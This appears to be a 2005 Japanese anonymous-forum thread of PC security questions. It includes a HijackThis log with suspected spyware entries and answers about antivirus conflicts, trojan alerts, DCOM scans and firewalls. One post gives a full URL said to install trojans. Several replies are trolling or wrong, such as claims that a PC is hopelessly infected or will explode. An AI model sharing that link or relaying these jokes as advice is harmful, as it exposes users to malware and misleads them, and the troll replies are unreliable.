C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\ashServ.exe
C:\Program Files\Norton SystemWorks\Norton Antivirus\navapsvc.exe
C:\PROGRA~1\NORTON~1\NORTON~2\NPROTECT.EXE
C:\WINNT\system32\regsvc.exe
C:\Program Files\Norton SystemWorks\Norton Antivirus\SAVScan.exe
C:\WINNT\system32\MSTask.exe
C:\PROGRA~1\NORTON~1\NORTON~2\SPEEDD~1\NOPDB.EXE
C:\WINNT\system32\stisvc.exe
C:\WINNT\System32\WBEM\WinMgmt.exe
C:\WINNT\System32\mspmspsv.exe
C:\WINNT\system32\svchost.exe
C:\WINNT\System32\svchost.exe
C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\ashMaiSv.exe C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\ashWebSv.exe C:\WINNT\Explorer.EXE C:\Program Files\Common Files\Symantec Shared\SymTray.exe C:\WINNT\system32\imejpmgr.exe C:\WINNT\system32\Promon.exe C:\WINNT\system32\Atiptaxx.exe C:\WINNT\system32\ICONSPY.EXE C:\Program Files\Sony\HotKey Utility\HKserv.exe C:\Program Files\Sony\Jog Dial Utility\JogServ2.exe C:\Program Files\Common Files\Logitech\QCDriver\LVCOMS.EXE C:\Program Files\Microsoft Hardware\Mouse\point32.exe C:\DOCUME~1\TOSIKI~1.CHI\デスク~1\あー\Avast!\ashDisp.exe C:\Program Files\QuickTime\qttask.exe C:\Program Files\iTunes\iTunesHelper.exe C:\Program Files\Common Files\Real\Update_OB\realsched.exe C:\WINNT\system32\priva.exe C:\Program Files\Common Files\Symantec Shared\ccApp.exe C:\Program Files\Norton SystemWorks\Password Manager\AcctMgr.exe C:\Program Files\Internet Explorer\iexplore.exe C:\WINNT\system32\internat.exe C:\Program Files\HDD Health\hddhealth.exe C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe C:\Program Files\iPod\bin\iPodService.exe C:\Program Files\PowerPanel\Program\PcfMgr.exe C:\Program Files\corega\WLCB-54GT\WLCBGCFG.exe C:\Documents and Settings\tosiki.CHIJI\デスクトップ\HijackThis.exe
O2 - BHO: Yahoo! Companion BHO - {02478D38-C3F9-4efb-9B51-7695ECA05670} - C:\PROGRA~1\Yahoo!\COMPAN~1\Installs\YCOMP5~1.DLL O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 5.0\Acrobat\ActiveX\AcroIEHelper.ocx O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} - C:\Program Files\Spybot - Search & Destroy\SDHelper.dll O2 - BHO: IeCatch2 Class - {A5366673-E8CA-11D3-9CD9-0090271D075B} - C:\PROGRA~1\FlashGet\jccatch.dll O2 - BHO: Google Toolbar Helper - {AA58ED58-01DD-4d91-8333-CF10577473F7} - c:\program files\google\googletoolbar2.dll O2 - BHO: NAV Helper - {BDF3E430-B101-42AD-A544-FADC6B084872} - C:\Program Files\Norton SystemWorks\Norton Antivirus\NavShExt.dll O2 - BHO: InfoseekHelper Class - {C9A0A71B-D13E-4761-818E-A220D9C705B2} - C:\Program Files\infoseek\infoseek toolbar\infoseek_2_1_0.dll O3 - Toolbar: ラジオ(&R) - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINNT\System32\msdxm.ocx O3 - Toolbar: &インフォシークツールバー - {947657DD-6584-4F4E-A26B-227B4BFE0FE4} - C:\Program Files\infoseek\infoseek toolbar\infoseek_2_1_0.dll O3 - Toolbar: &Yahoo!ツールバー - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\PROGRA~1\Yahoo!\COMPAN~1\Installs\YCOMP5~1.DLL O3 - Toolbar: (no name) - {E0E899AB-F487-11D5-8D29-0050BA6940E3} - (no file) O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - c:\program files\google\googletoolbar2.dll O3 - Toolbar: Zango Toolbar - {EA0D26BD-9029-431A-86E0-83152D67828A} - C:\Program Files\Zango Programs\Zango Toolbar\ZangoTB.dll O3 - Toolbar: Norton AntiVirus - {42CDD1BF-3FFB-4238-8AD1-7859DF00B1D6} - C:\Program Files\Norton SystemWorks\Norton Antivirus\NavShExt.dll
O4 - HKLM\..\Run: [Promon.exe] Promon.exe O4 - HKLM\..\Run: [Synchronization Manager] mobsync.exe /logon O4 - HKLM\..\Run: [AtiPTA] Atiptaxx.exe O4 - HKLM\..\Run: [Apoint] C:\Program Files\Apoint\Apoint.exe O4 - HKLM\..\Run: [Mouse Suite 98 Daemon] ICONSPY.EXE O4 - HKLM\..\Run: [HKSERV.EXE] C:\Program Files\Sony\HotKey Utility\HKserv.exe O4 - HKLM\..\Run: [JOGSERV2.EXE] C:\Program Files\Sony\Jog Dial Utility\JogServ2.exe O4 - HKLM\..\Run: [LoadQM] loadqm.exe O4 - HKLM\..\Run: [LVCOMS] C:\Program Files\Common Files\Logitech\QCDriver\LVCOMS.EXE O4 - HKLM\..\Run: [POINTER] point32.exe O4 - HKLM\..\Run: [avast!] C:\DOCUME~1\TOSIKI~1.CHI\デスク~1\あー\Avast!\ashDisp.exe O4 - HKLM\..\Run: [QuickTime Task] "C:\Program Files\QuickTime\qttask.exe" -atboottime O4 - HKLM\..\Run: [iTunesHelper] C:\Program Files\iTunes\iTunesHelper.exe O4 - HKLM\..\Run: [Tweak UI] RUNDLL32.EXE TWEAKUI.CPL,TweakMeUp O4 - HKLM\..\Run: [TkBellExe] "C:\Program Files\Common Files\Real\Update_OB\realsched.exe" -osboot O4 - HKLM\..\Run: [ControlPanel] C:\WINNT\system32\priva.exe internat.dll,LoadMouseCarpetProfile O4 - HKLM\..\Run: [multitran] C:\WINNT\system32\multitran.exe O4 - HKLM\..\Run: [SymTray - Norton SystemWorks] C:\Program Files\Common Files\Symantec Shared\Symtray.exe SetReg O4 - HKLM\..\Run: [ccApp] "C:\Program Files\Common Files\Symantec Shared\ccApp.exe" O4 - HKLM\..\Run: [AcctMgr] C:\Program Files\Norton SystemWorks\Password Manager\AcctMgr.exe /startup O4 - HKLM\..\RunServices: [multitran] C:\WINNT\system32\multitran.exe O4 - HKLM\..\RunServices: [SystemTools] C:\WINNT\system32\kernels32.exe O4 - HKLM\..\RunOnce: [SymTray - Norton SystemWorks] C:\Program Files\Common Files\Symantec Shared\Symtrdr.exe O4 - HKCU\..\Run: [Internat.exe] internat.exe O4 - HKCU\..\Run: [HDDHealth] C:\Program Files\HDD Health\hddhealth.exe -wl O4 - HKCU\..\Run: [multitran] C:\WINNT\system32\multitran.exe
O8 - Extra context menu item: &インフォシークお買い物検索 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/contextShop.htm O8 - Extra context menu item: &インフォシークテキスト翻訳 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/contextTrans.htm O8 - Extra context menu item: &インフォシークニュース検索 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/contextNews.htm O8 - Extra context menu item: &インフォシークブログ検索 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/contextBlog.htm O8 - Extra context menu item: &インフォシーク和英辞典 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/contextDictJE.htm O8 - Extra context menu item: &インフォシーク国語辞典 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/contextDictJP.htm O8 - Extra context menu item: &インフォシーク検索 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/context.htm O8 - Extra context menu item: &インフォシーク英和辞典 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/contextDictEJ.htm
O8 - Extra context menu item: CyberSyndrome 一発プロキシ設定(&X) - C:\WINNT\WEB\iprxs.htm O8 - Extra context menu item: FlashGetでダウンロード - C:\PROGRA~1\FlashGet\jc_link.htm O8 - Extra context menu item: FlashGetで全てダウンロード - C:\PROGRA~1\FlashGet\jc_all.htm O8 - Extra context menu item: Google 検索(&G) - res://c:\program files\google\GoogleToolbar2.dll/cmsearch.html O8 - Extra context menu item: Save Flash - res://C:\Documents and Settings\tosiki.CHIJI\デスクトップ\Flash Saving Plugin\FlashSButton.dll/210 O8 - Extra context menu item: このページのキャッシュ - res://c:\program files\google\GoogleToolbar2.dll/cmcache.html O8 - Extra context menu item: みさくら語変換+ - C:\WINNT\web\misakura.htm O8 - Extra context menu item: インフォシークツールバーのスキンとして設定 - res://C:\Program%20Files\infoseek\infoseek%20toolbar\infoseek_2_1_0.dll/contextSkin.htm O8 - Extra context menu item: リンク元 - res://c:\program files\google\GoogleToolbar2.dll/cmbacklinks.html
O8 - Extra context menu item: 翻訳(&T) - res://c:\program files\google\GoogleToolbar2.dll/cmwordtrans.html O8 - Extra context menu item: 関連ページ - res://c:\program files\google\GoogleToolbar2.dll/cmsimilar.html O9 - Extra button: モバイルのお気に入りの作成 - {2EAF5BB1-070F-11D3-9307-00C04FAE2D4F} - C:\Program Files\Microsoft ActiveSync\inetrepl.dll O9 - Extra button: (no name) - {2EAF5BB2-070F-11D3-9307-00C04FAE2D4F} - C:\Program Files\Microsoft ActiveSync\inetrepl.dll O9 - Extra 'Tools' menuitem: モバイルのお気に入りの作成... - {2EAF5BB2-070F-11D3-9307-00C04FAE2D4F} - C:\Program Files\Microsoft ActiveSync\inetrepl.dll O9 - Extra button: Ticker - {C3C9FFCC-C9FB-4438-A476-40AEDD68C2FF} - C:\Program Files\infoseek\infoseek toolbar\infoComb.dll O9 - Extra button: Yahoo! メッセンジャ− - {CEBF73C0-BA2E-11d4-A73A-00508B33FB82} - C:\PROGRA~1\Yahoo!J\MESSEN~1\YPagerJ.exe O9 - Extra 'Tools' menuitem: Yahoo! メッセンジャ− - {CEBF73C0-BA2E-11d4-A73A-00508B33FB82} - C:\PROGRA~1\Yahoo!J\MESSEN~1\YPagerJ.exe O9 - Extra button: FlashGet - {D6E814A0-E0C5-11d4-8D29-0050BA6940E3} - C:\PROGRA~1\FlashGet\flashget.exe O9 - Extra 'Tools' menuitem: &FlashGet - {D6E814A0-E0C5-11d4-8D29-0050BA6940E3} - C:\PROGRA~1\FlashGet\flashget.exe O9 - Extra button: Flash - {43CF38F3-5AEC-45a3-AD31-04EB06E9C6CA} - C:\Documents and Settings\tosiki.CHIJI\デスクトップ\Flash Saving Plugin\FlashSButton.dll (file missing) (HKCU)
>>349 C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\aswUpdSv.exe
C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\ashServ.exe
あんたコンフリクトしてないかい?
ノートンとavast一緒に使ってる?
アンチウイルスは1つにしなさい
>>358 そういえば片方アンインスコしとくの忘れてました・・
O16 - DPF: {A16C2BF4-501E-45FA-8A14-F26E022D5E16} (MidRadioCtrl Class) -
http://adweb.music-eclub.com/php/adweb.php3?aid=143&arg=win%2Fmrinst.cab&ptx=mratdl O16 - DPF: {A2554B5B-5125-4A64-88C7-5CFC0EB32914} (Infoseek Toolbar) -
http://toolbar2.infoseek.co.jp/build702/INFOSEEK.CAB O16 - DPF: {E87A6788-1D0F-4444-8898-1D25829B6755} -
http://fdl.msn.com/public/chat/msnchat4.cab O17 - HKLM\System\CCS\Services\Tcpip\..\{FDE251DB-E6A7-478E-BFBF-8E99E045B04D}: NameServer = 202.238.95.24,202.238.95.26
O18 - Protocol: ispp - {947657DD-6584-4F4E-A26B-227B4BFE0FE6} - C:\Program Files\infoseek\infoseek toolbar\infoseek_2_1_0.dll
O18 - Filter: text/x-mrml - {C51721BE-858B-4A66-A8BF-D2882FF49820} - C:\Program Files\YAMAHA\MidRadio Player\MidRadio.ocx
O20 - Winlogon Notify: msupdate - C:\WINNT\SYSTEM32\msupdate32.dll
O20 - Winlogon Notify: nwprovau - C:\WINNT\SYSTEM32\nwprovau.dll
O20 - Winlogon Notify: st3 - C:\WINNT\q978126.dll
O23 - Service: avast! iAVS4 Control Service (aswUpdSv) - Unknown owner - C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\aswUpdSv.exe (file missing)
O23 - Service: Ati HotKey Poller - Unknown owner - C:\WINNT\System32\ati2evxx.exe
O23 - Service: avast! Antivirus - Unknown owner - C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\ashServ.exe (file missing)
O23 - Service: avast! Mail Scanner - Unknown owner - C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\ashMaiSv.exe" /service (file missing)
O23 - Service: avast! Web Scanner - Unknown owner - C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\ashWebSv.exe" /service (file missing)
これで終わりです。 O23 - Service: Symantec Event Manager (ccEvtMgr) - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe O23 - Service: Symantec Password Validation (ccPwdSvc) - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\ccPwdSvc.exe O23 - Service: Symantec Settings Manager (ccSetMgr) - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe O23 - Service: Logical Disk Manager Administrative Service (dmadmin) - VERITAS Software Corp. - C:\WINNT\System32\dmadmin.exe O23 - Service: iPod Service (iPodService) - Apple Computer, Inc. - C:\Program Files\iPod\bin\iPodService.exe O23 - Service: Norton AntiVirus Auto Protect Service (navapsvc) - Symantec Corporation - C:\Program Files\Norton SystemWorks\Norton Antivirus\navapsvc.exe O23 - Service: Norton Unerase Protection (NProtectService) - Symantec Corporation - C:\PROGRA~1\NORTON~1\NORTON~2\NPROTECT.EXE O23 - Service: SAVScan - Symantec Corporation - C:\Program Files\Norton SystemWorks\Norton Antivirus\SAVScan.exe O23 - Service: ScriptBlocking Service (SBService) - Symantec Corporation - C:\PROGRA~1\COMMON~1\SYMANT~1\SCRIPT~1\SBServ.exe O23 - Service: Speed Disk service - Symantec Corporation - C:\PROGRA~1\NORTON~1\NORTON~2\SPEEDD~1\NOPDB.EXE
まずはアンチウイルスを片方アンインストールしよう それからFlashGetもアンインストールした方が良いと思う 確かFlashGetはスパイウェア付だったと思う
ちょっと見た感じ、この辺が怪しい。つうかもっとシンプルに使えばいいのに。 ActiveXとかinfoseekとかごちゃごちゃしすぎ 名前も出ちゃっているし… O3 - Toolbar: (no name) - {E0E899AB-F487-11D5-8D29-0050BA6940E3} - (no file) O3 - Toolbar: Zango Toolbar - {EA0D26BD-9029-431A-86E0-83152D67828A} - C:\Program Files\Zango Programs\Zango Toolbar\ZangoTB.dll O4 - HKLM\..\Run: [multitran] C:\WINNT\system32\multitran.exe O4 - HKLM\..\RunServices: [multitran] C:\WINNT\system32\multitran.exe O4 - HKLM\..\RunServices: [SystemTools] C:\WINNT\system32\kernels32.exe O4 - HKCU\..\Run: [HDDHealth] C:\Program Files\HDD Health\hddhealth.exe -wl O4 - HKCU\..\Run: [multitran] C:\WINNT\system32\multitran.exe
>C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe またノーdかよ。 カスペかNOD32をお勧めする。
>>363 それ以前に二つ以上のアンチウイルスを常駐させるとマズいだろう
まずノートンをアンスコしてavastだけにするのが先決ではないだろうか
それから真に優秀なアンチウイルスに代えればいいよ
Zango Toolbarとmultitran.exeはSpywareだーね。
追加 O20 - Winlogon Notify: msupdate - C:\WINNT\SYSTEM32\msupdate32.dll
>>364 好みや環境にもよるんだろうけど、NODは軽くて好感もてました。^^
flashgetが原因でしょうwww 1.0バージョンだとスパイウェアーは完全に消せても アドウェアーはflashget起動ごとに消したはずでも起動する 最新版でも尻かクラックしない限りアドウェアーは毎回復活するよ
flashgetはアンチウィルスやアンチスパイウェアー でも消せないファイルあるので レジストリーいじるか、f8してファイル消すか 後はフリーソフトで削る 俺の体験記でした
>>370 サイドアですとspybotやad−awareで消せるから
問題なくてもう一つややっこしいのある
広告出すなにか・・・
名前忘れました。削除してもフラゲ起動すると同時に
IEで広告出させるためにサイドア復活の要因見たいのあったはずです
そんなのどうでもかまへん 放っとけ
376 :
名無しさん@お腹いっぱい。 :2005/11/23(水) 13:33:07
378 :
名無しさん@お腹いっぱい。 :2005/11/23(水) 13:48:05
セキュアド取得したらセキュリティ専門家と名乗っても良いですか?
379 :
名無しさん@お腹いっぱい。 :2005/11/23(水) 13:49:45
2002年のウイルスバスター新品のゲットしたんですがこれ今現在のウイルスに 対応できるんでしょうか?
>>378 こんなところで聞いてるようだものダメに決まってる
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>379 | | | \_____
(__)___)
シグネチャだけは何とかなるんじゃない。
ただ、エンジン他のモジュールがうpできないじゃん。
イラネー。言っとくけど、セキュリティー製品にも脆弱性
報告されることがあるからね。
382 :
379 :2005/11/23(水) 15:11:22
猫吉親分 どうもありがとうございました。ちっとショック!
【使用OS】2000 【WindowsUpdateしてるか】している 【使用AntiVirusソフト】avast! 【AntiVirusをUpdateしてるか】している 極窓で判別してzipだったので安心してzipファイルをクリックして解凍したら 「Antinnyが発見されました」と画面下に出ました。 これはAntinnyに感染したということでしょうか?それとも感染してないのでしょうか? それと、極窓で判別してzipだったものをクリックしたら、zipじゃなくexeということはあるのでしょうか? どうかアドバイスお願いします
スパイウェアの原理で質問なんですが URLクリックすると感染するタイプがありますよね それはどんな原理で勝手にインストールして実行させているんですか? IEの脆弱性などを突いているんですか? 教えてください
>>384 バッファオーバーフロー
おまえには説明してもわからない
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>383 | | | \_____
(__)___)
解凍ソフト最新版使ってる?
右クリ解凍が常識だよ。
387 :
383 :2005/11/23(水) 16:31:09
>>386 極窓使ってzipだとわかって安心してたのでいつもは右クリなのですが今回は普通に解凍してしまいました・・・
拡張子がexeじゃなければ多分大丈夫。 つか、検出されたって事は問題ないのでは。
>>387 おまえ意味わかっていないだろう?
脆弱性があってスタートアップフォルダに解凍してしまう古い解凍ソフトは使っていないよな?
これだと、再起動時に解凍されたインストーラーなどが実行されてしまうから、ウィルスをインストールされる
きっとWin標準ののzipfldrで解凍したんだと思うが
これは、Tempフォルダに展開するだけで何も実行しない
つまり、その展開後の.exeを実行しない限り何も起こらないんだよ
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>383 | | | \_____
(__)___)
処理できた?
Directory Traversal Bulnerabilityなてのもあるから
気をつけて。
>>383 > 【使用OS】2000
> 【使用AntiVirusソフト】avast!
> 「Antinnyが発見されました」と画面下に出ました。
> これはAntinnyに感染したということでしょうか?それとも感染してないのでしょうか?
心配ならブートタイム検査を実行しよう
検出したファイルは削除するかチェストに移動して隔離しとけばOK
>>388 >>389 どうもです
極窓で判別しきれない偽装が施してあって、それを踏んでしまった可能性もあるのかなと思ってしまいました。
もちろんexeはクリックしてないので感染はしてない可能性が高いと思いますが、念のためスキャンしてみます
393 :
383 :2005/11/23(水) 17:15:38
【使用OS】XP 【WindowsUpdateしてるか】している 【使用AntiVirusソフト】ノートン2005 【AntiVirusをUpdateしてるか】している P2Pソフト(share)のダウンフォルダを開くと何秒後かにフリーズ、もしくは勝手にシャットダウンされてしまいます。 そのフォルダのなかに明らかに怪しいファイルがあるので消したいのですが、消そうとするとフリーズしてしまい無理です。 ノートンでスキャンしてみましたが何も反応が出ません。なにか解決策はないでしょうか?
>>394 ダウソ板で質問すれば。
スレ違い。
shareもう一回入れ直してみればいいと思う
2ちゃんねる見てたらいつの間にかタスクバーにビデオカメラみたいな アイコンが表示されてて、開こうとしたら開けないんですが これってウイルスじゃないですよね? 再起動してもあるし・・ マウスを乗せるとUlead Auto Detectionとでます。 ちなみにノートン2004で期限切れです・・。
>>396 > ちなみにノートン2004で期限切れです・・。
論外
>>396 「家の鍵掛けないで出かけました。帰ってきたら部屋が荒らされているような気がします。
これって泥棒に入られたのでしょうか?」
すげーばかいるスレはここですか?
インターネットしていたら、いつの間にかタスクバーにビデオカメラみたいな アイコンが表示されてて、開こうとしたら開けなくて、 カーソルを合わせたら、「65.638.5439....」みたいな感じで、数字が表示されます。 これは何ですか? ちなみにavast!のウイルスデータベースは昨日更新したばかりです・・。
>>400 お前常に監視されてんだよ
エッチなサイトばかりみとるなよ
m9('A`)プギャー!!
>>401 うるせーよ 人間誰しも根元に性欲というモノがあるのさ。
君も否定はできないだろう?性欲を。
>>385 つまり脆弱性を突くってことですよね?
パッチ当ててたら効きませんよね?
406 :
名無しさん@お腹いっぱい。 :2005/11/23(水) 22:55:52
セキュアドって取得するだけの価値ある?
今日ネットつないだのですが、送ると危険なメールアドレスとかってあるのでしょうか?
408 :
名無しさん@お腹いっぱい。 :2005/11/23(水) 23:26:59
さっきリンク先に飛んだら、いきなりアダルトサイトのページになって、 PCがフリーズして、そのあと見覚えのないアイコンが増えていました。 Un Spy Pc scanner というものなのですが、これは一体なんでしょうか??
すいません。質問です。
とあるスレッドで下記URL踏んじゃったんですが、これ踏んだときいったい何が行われてるんでしょうか。
下記URLに飛ぶと、トロイの木馬が2つ検出され、コマンドプロンプトの窓が10枚くらい開き、自動的に閉じて気分の悪い画像がブラウザに表示されます。
その後、ウィルスソフト、スパイウェア対策ソフトでも変わったものは検出されませんでした。
ただのブラクラではなさそうなので、わからない方は絶対下記URLを踏まないでください。
【注意】下記トロイ&ウイルス?URL
http://dailynews.bravehost.com/Society/051019-00000182-kyodo-soci.html 自分のPC環境
OS:WindowsXP SP2
ウイルスソフト:Norton AntiVirus 2005 (AutoProtect:ON)
スパイウェア対策ソフト:Ad-Aware、Spybot
>>409 分からないならhttpは消すべき。
貴方に責任は無くてもマウス派の人はうっかり踏む可能性があるので。
411 :
409 :2005/11/24(木) 00:10:41
申し訳無いです。 不注意でした。
413 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 00:17:52
JWorrうざいんですけど なんどアンインストールしても勝手にインストールされます。 これってスパイウェア?
スパイウェア URLで規制した方がよい
>>413 制限つきサイトに「*.jword.jp」で登録でも汁
416 :
413 :2005/11/24(木) 00:30:38
サントス
用語もよくわからないんですが… スパイウェア?にかかってしまったようなんです。 ホームのページが知らないトコに設定されてるんです。なおしてもすぐもとに戻ってしまうんです。 どうか駆除などのアドバイスおねがいします
駆除すれば?症状の詳細分からなければアドバイスのしようもない。
どうやって駆除するのでしょうか?ソフトなどがいるのでしょうか? お手数かけます…
Tiny Personal Firewallっていつのやねんw
422 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 05:53:20
ファイアーウォールは、一般的にルータがあれば十分ですか? フリーのソフトと併用しないといけないくらい、ルータは初歩的ですか?
ええ
ファイアーウォールソフトも併用してください
ね。
426 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 08:51:58
まじですか!? 知らなかった・・・
ルータはスパイウェアが外部と通信しようとするのを防げません。
428 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 09:01:39
スパイウェアはSpybotとSpywareBlasterでやってますけど、 不十分ですか?
ルータはポート単位で制御するFW。 パーソナルFWが更に必要といわれているのはアプリケーションごとに 通信の制御が出来る事。 だからどっちも欲しい。 スパイウェア検知ツールは登録されているプロセスやクッキーなどを検知できるが、 PFWは未対応でも通信を遮断できる。
430 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 09:34:52
ZoneAlarmとOutpostFirewallFREEはどちらが軽いですか?
断然アウポ
質問です 今しがたノートンでNetBus トロイの木馬のデフォルト遮断のセキュリティ 警告を作成しましたと警告されました。 これは私のPCにトロイの木馬が掛かってるということですか? 感染してるけどアクセスはノートンで遮断ということでしょうか?
433 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 10:59:47
>>431 ありがとうございました。
他にフリーでそこそこ性能がある中で、軽いのはありませんか?
有名なのは
>>430 の2つだと思うのですが。
>>433 他にもKerioとかJeticoがあるけど、どっちも初心者にはお奨めできない。
アウポでも十分な機能はあるからアウポにしとけ。
435 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 11:41:38
>>434 ありがとうごじます
アウポのフリーはUPDATA中止みたいなんです
だからもう使えませんねえ
437 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 11:45:05
ノートンでNetBus トロイの木馬のデフォルト遮断のセキュリティ 警告を作成しましたと警告されました。意味おしえて!
>>435 俺は3年前に更新が止まったFW使ってるんだがw
439 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 11:48:56
440 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 11:49:50
FWはあまり更新とかに気をつけなくてもいいんですか? そんなこと聞いたこと無いけど・・・
441 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 11:52:21
ノートンとavastと併用して使うと何か障害が起こりますか?
致命的な脆弱性を突かれる恐れが無ければ問題ないともいえる。 ルータかましてればそんな状況めったに無いし。
ノートンでNetBus トロイの木馬のデフォルト遮断のセキュリティ 警告を作成しました。意味おしえて! 感染してるのですか?
感染してますもう手遅れだ
ええ・・・・・・どうすればいいでしょうか?
446 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 12:08:36
>>442 朝からあじがとうざします
考えて決めます
質問ですが、DCOM Exploitってなんでしょうか?ググってもわかりません。 125.0.x.x:135から攻撃をうけたとavastが頻繁に言ってきます。 ど素人なんでですんませんが詳しい方教えてください。 (・∀・)っ旦
>>443 非常に危険な状態だな、今すぐそこから非難するんだ
PCが爆発するぞ!!
質問ですが、DCOM Exploitってなんでしょうか?ググってもわかりません。 125.0.x.x:135から攻撃をうけたとavastが頻繁に言ってきます。 ど素人なんでですんませんが詳しい方教えてください。 _| ̄|〇っ旦
FWかルータでport135を閉じとけ。
>>450 avastが攻撃を防御している間に今すぐそこから
非難するんだPCが爆発するぞ!!
初心者改め ど素人が流行ってるのかwww
>>450 135と445は黙っていたってウィルス感染しているやつらの不正パケットが全世界で飛び回っている。
パケットの中身まで厳密にチェックしないで、ただ単に飛んで来ると警告を表示しているだけだ。
よって、これほどまでウィルスに感染しているやつらからのパケットが飛び回っている限り、
表示する価値などはない。
ノートンでNetBus トロイの木馬のデフォルト遮断のセキュリティ 警告を作成しました。意味おしえて! 感染してるのですか?
457 :
450 :2005/11/24(木) 13:10:22
>>451 ルーター(CG-BARFX2)使ってるんですが、特定のポートの閉じ方がマニュアルにもないし、
ファイアウォール板コレガ板ではスルーされるしサポセンは連絡とれないしで、にっちもさっちもブルドックなんです。
orz
458 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 13:25:08
知らないうちに、近所の無線ルータに接続して、ネットしてました・・・ 期間はたぶん1年くらい・・・ 昨日、自分のルータの電源切ったのに、ネット出来るので友達に聞いて 判明しました。 メールとかも送受信できてたので、さっぱり気付かなかった。 しかし無線LANって、危なくないですか?こんな簡単に接続できちゃ マジで誰に使われているかわからんね、コワイよ!!
そういう時こそぐぐれ。
>>450 の質問だって3分かからず見つかったぞ。
努力が足りん。甘えんな。
ノートンでNetBus トロイの木馬のデフォルト遮断のセキュリティ 警告を作成しました。意味おしえて! 感染してるのですか?
攻撃の試みを遮断しただけでね?
>>461 どうして私のPCに攻撃してきたのでしょうか?
何かに感染してるということでしょうか?
普通は手当たり次第なので特に理由はない
464 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 13:42:15
ヌルポースというウイルスの駆除の仕方教えてください いろいろやってみたんですが駄目でした よろしくお願いします
>>458 普通は接続するのにパスいるんじゃなかったか?
駄々漏れになってる人って結構いるかも。
467 :
460 :2005/11/24(木) 13:51:07
みんなthx
468 :
450 :2005/11/24(木) 13:52:35
>>459 そんなこと言わないでなんとか…
どぞっ_| ̄|〇っ旦
つうか
>>450 はなにがしりたいのよ?
DcomExploitってワームじゃないの?
474 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 14:09:42
XP,IE6.0,でフツーにネットしてたら(いやマジでこのときはエロサイトじゃなかった)、 IEが強制終了させられてMicrosoftのページに飛んであなたのPCがスパイ ウェアにどうのこうので、reなんとかいうソフトを削除しろと言われ、 プログラヌの削除で削除しようとしたら一覧にありませんでした。 んで、Microsoft antispyware ってやつをインストゥールして調べたら スパイウェアが検出されたんですが、これはウィルスチェイサーで以前検出されて 削除できなくて、ロック状態にしてあるものでした。こういうウィルスは どうやって削除すればいいですか?
>>474 ベクターで
強削
でけせばおk
ファイルもしくはexeをドロップクリックするだけで
自動で削除してくれるよ
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>450 | | | \_____
(__)___)
ルータ導入してる?
DCOMというのは、COMをネットワークに対応させたものです。
Exploitは不正コードを意味します。おそらく、DCOMバッファオーバーフロー
を狙ってるのだと思います。成功すればMalware側に制御が移るわけだから。
知ってる人、割と多いはずなんだけどなァ。
478 :
450 :2005/11/24(木) 14:32:19
>>469-473 こんなど素人あいてに本当にありがとうございます m( _ _ )m
一応ググってDCOM切って対応したんですが、それでもavastがしきりに騒ぐから気になって…
あとはポート135を塞ぐしかないと思ってもファイアウォールもルーターも言うこと聞いてくれないし、
自分にスキルないし、他に手だてがなくて、他にも対応策がないものかと…
みなさんホントすんません。
479 :
450 :2005/11/24(木) 14:35:22
>>477 さんもありがとうございます。
ぐぐり方が足らなかったと反省しております。
481 :
478 :2005/11/24(木) 14:42:19
>>480 ありがとうございます
Sygate Personal Firewall です
>>477 MONA は何考えてんだ?
そんな脆弱性を放って置いてるやつなど滅多にいない。ドアホが。
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>458 | | | \_____
(__)___)
まあ、そのご近所さんは訳も分からず使ってるんでしょうね。
ルーズで且つ必要なゲインが得られればリンク出来てしまいますからね。
